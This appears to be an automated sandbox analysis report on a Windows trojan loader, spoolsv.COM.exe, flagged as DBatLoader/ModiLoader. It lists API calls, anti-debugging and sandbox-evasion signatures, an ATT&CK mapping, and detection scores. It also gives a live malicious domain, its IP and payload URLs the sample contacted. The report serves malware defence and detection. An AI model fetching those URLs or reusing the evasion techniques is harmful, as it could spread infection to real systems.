Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: smartscreenps.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: smartscreenps.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: smartscreenps.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior

Source: C:\Users\user\Desktop\spoolsv.COM.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Data Obfuscation

Yara detected DBatLoader

Source: Yara match	File source: 5.2.spoolsv.COM.exe.2b20000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2514939063.0000000002286000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.1272909901.000000007FBB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2531784448.000000007FC80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\spoolsv.COM.exe

Code function: 5_2_02B387A0 LoadLibraryW,GetProcAddress,FreeLibrary,

5_2_02B387A0

Source: C:\Users\user\Desktop\spoolsv.COM.exe	Code function: 5_2_02B4C2FC push 02B4C367h; ret	5_2_02B4C35F
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Code function: 5_2_02B232FC push eax; ret	5_2_02B23338
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Code function: 5_2_02B2635A push 02B263B7h; ret	5_2_02B263AF
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Code function: 5_2_02B2635C push 02B263B7h; ret	5_2_02B263AF
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Code function: 5_2_02B4C0AC push 02B4C125h; ret	5_2_02B4C11D
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Code function: 5_2_02B4C1F8 push 02B4C288h; ret	5_2_02B4C280
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Code function: 5_2_02B4C144 push 02B4C1ECh; ret	5_2_02B4C1E4
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Code function: 5_2_02B386C0 push 02B38702h; ret	5_2_02B386FA
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Code function: 5_2_02B2673E push 02B26782h; ret	5_2_02B2677A
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Code function: 5_2_02B26740 push 02B26782h; ret	5_2_02B2677A
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Code function: 5_2_02B2C4F4 push ecx; mov dword ptr [esp], edx	5_2_02B2C4F9
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Code function: 5_2_02B3E5B4 push ecx; mov dword ptr [esp], edx	5_2_02B3E5B9
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Code function: 5_2_02B2D528 push 02B2D554h; ret	5_2_02B2D54C
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Code function: 5_2_02B2CB74 push 02B2CCFAh; ret	5_2_02B2CCF2
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Code function: 5_2_02B4BB6C push 02B4BD94h; ret	5_2_02B4BD8C
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Code function: 5_2_02B2CB56 push 02B2CCFAh; ret	5_2_02B2CCF2
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Code function: 5_2_02B2C8A2 push esp; iretd	5_2_02B2C8C5
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Code function: 5_2_02B37894 push 02B37911h; ret	5_2_02B37909
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Code function: 5_2_02B368D0 push 02B3697Bh; ret	5_2_02B36973
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Code function: 5_2_02B368CE push 02B3697Bh; ret	5_2_02B36973
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Code function: 5_2_02B2C936 push eax; iretd	5_2_02B2C975
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Code function: 5_2_02B3A920 push 02B3A958h; ret	5_2_02B3A950
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Code function: 5_2_02B38916 push 02B38950h; ret	5_2_02B38948
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Code function: 5_2_02B38918 push 02B38950h; ret	5_2_02B38948
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Code function: 5_2_02B3A91F push 02B3A958h; ret	5_2_02B3A950
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Code function: 5_2_02B32EE8 push 02B32F5Eh; ret	5_2_02B32F56
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Code function: 5_2_02B35E04 push ecx; mov dword ptr [esp], edx	5_2_02B35E06
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Code function: 5_2_02B32FF3 push 02B33041h; ret	5_2_02B33039
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Code function: 5_2_02B32FF4 push 02B33041h; ret	5_2_02B33039

Source: C:\Users\user\Desktop\spoolsv.COM.exe

Code function: 5_2_02B3A95C GetModuleHandleA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

5_2_02B3A95C

Source: C:\Users\user\Desktop\spoolsv.COM.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Malware Analysis System Evasion

Allocates many large memory junks

Source: C:\Users\user\Desktop\spoolsv.COM.exe	Memory allocated: 2B20000 memory commit 500006912	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Memory allocated: 2B21000 memory commit 500178944	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Memory allocated: 2B4C000 memory commit 500002816	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Memory allocated: 2B4D000 memory commit 500199424	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Memory allocated: 2B7E000 memory commit 501014528	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Memory allocated: 2C76000 memory commit 500006912	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Memory allocated: 2C78000 memory commit 500015104	Jump to behavior

Source: C:\Users\user\Desktop\spoolsv.COM.exe

Code function: 5_2_02B258B4 GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA,

5_2_02B258B4

Source: spoolsv.COM.exe, 00000005.00000002.2512765082.000000000051E000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000002.2512765082.0000000000566000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\spoolsv.COM.exe

API call chain: ExitProcess graph end node

graph_5-28624

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Users\user\Desktop\spoolsv.COM.exe

Code function: 5_2_02B3EBF0 GetModuleHandleW,GetProcAddress,CheckRemoteDebuggerPresent,

5_2_02B3EBF0

Source: C:\Users\user\Desktop\spoolsv.COM.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Users\user\Desktop\spoolsv.COM.exe

Code function: 5_2_02B387A0 LoadLibraryW,GetProcAddress,FreeLibrary,

5_2_02B387A0

Source: C:\Users\user\Desktop\spoolsv.COM.exe	Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,	5_2_02B25A78
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Code function: GetLocaleInfoA,	5_2_02B2A798
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Code function: GetLocaleInfoA,	5_2_02B2A74C
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Code function: lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,	5_2_02B25B84

Source: C:\Users\user\Desktop\spoolsv.COM.exe

Code function: 5_2_02B29194 GetLocalTime,

5_2_02B29194

Source: C:\Users\user\Desktop\spoolsv.COM.exe

Code function: 5_2_02B2B714 GetVersionExA,

5_2_02B2B714

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Valid Accounts	1 Native API	1 Valid Accounts	1 Valid Accounts	1 Valid Accounts	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 Access Token Manipulation	1 Access Token Manipulation	LSASS Memory	1 Query Registry	Remote Desktop Protocol	Data from Removable Media	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Virtualization/Sandbox Evasion	Security Account Manager	211 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	1 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 System Network Connections Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	24 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
spoolsv.COM.exe	74%	Virustotal		Browse
spoolsv.COM.exe	63%	ReversingLabs	Win32.Trojan.ModiLoader
spoolsv.COM.exe	100%	Avira	HEUR/AGEN.1326111

Name	IP	Active	Malicious	Antivirus Detection	Reputation
swamfoxinnc.com	176.123.5.143	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://swamfoxinnc.com/233_Svcrhpjadgy	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://swamfoxinnc.com/233_SvcrhpjadgyP	spoolsv.COM.exe, 00000005.00000003.2257555113.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2326326708.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1980977994.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1910755600.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2291813654.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2015505001.00000000005C6000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://swamfoxinnc.com/d	spoolsv.COM.exe, 00000005.00000003.2466011229.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2049371642.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2257555113.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2362712355.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2430700731.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1910755600.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2326326708.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1980977994.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2083372135.00000000005C9000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2221831704.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1668484211.00000000005C9000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1772811035.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1702373874.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000002.2512765082.000000000051E000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2118349105.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1807574988.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2396794289.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2291813654.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2186886665.00000000005CA000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1533358916.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1947111725.00000000005C6000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://swamfoxinnc.com/233_Svcrhpjadgy/1fe	spoolsv.COM.exe, 00000005.00000003.1391456768.00000000005D0000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1499063783.00000000005CD000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://swamfoxinnc.com/o	spoolsv.COM.exe, 00000005.00000003.1634798650.00000000005C6000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://swamfoxinnc.com/233_SvcrhpjadgyH	spoolsv.COM.exe, 00000005.00000003.2326326708.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1980977994.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1772811035.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1947111725.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1910755600.00000000005CD000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://swamfoxinnc.com/233_Svcrhpjadgy8$Q8	spoolsv.COM.exe, 00000005.00000002.2512765082.000000000051E000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000002.2512765082.0000000000586000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2326326708.0000000000587000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://swamfoxinnc.com/	spoolsv.COM.exe, 00000005.00000003.2396794289.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000002.2512765082.00000000005C6000.00000004.00000020.00020000.00000000.sdmp	true	unknown
https://swamfoxinnc.com/233_SvcrhpjadgyuiQ	spoolsv.COM.exe, 00000005.00000002.2512765082.000000000051E000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://swamfoxinnc.com/233_Svcrhpjadgy%	spoolsv.COM.exe, 00000005.00000003.1841751960.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1668484211.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1772811035.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1737114242.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1702373874.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1807574988.00000000005AF000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://swamfoxinnc.com/233_SvcrhpjadgyW	spoolsv.COM.exe, 00000005.00000003.1634798650.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1841751960.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1668484211.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1772811035.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1737114242.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1702373874.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1807574988.00000000005AF000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://swamfoxinnc.com/233_SvcrhpjadgyZ	spoolsv.COM.exe, 00000005.00000003.2430700731.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2503409286.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000002.2512765082.00000000005C6000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://swamfoxinnc.com:443/233_Svcrhpjadgy	spoolsv.COM.exe, 00000005.00000003.2396794289.0000000000593000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2503409286.0000000000593000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000002.2512765082.0000000000593000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2326326708.0000000000593000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2430700731.0000000000593000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2362712355.0000000000593000.00000004.00000020.00020000.00000000.sdmp	false	unknown
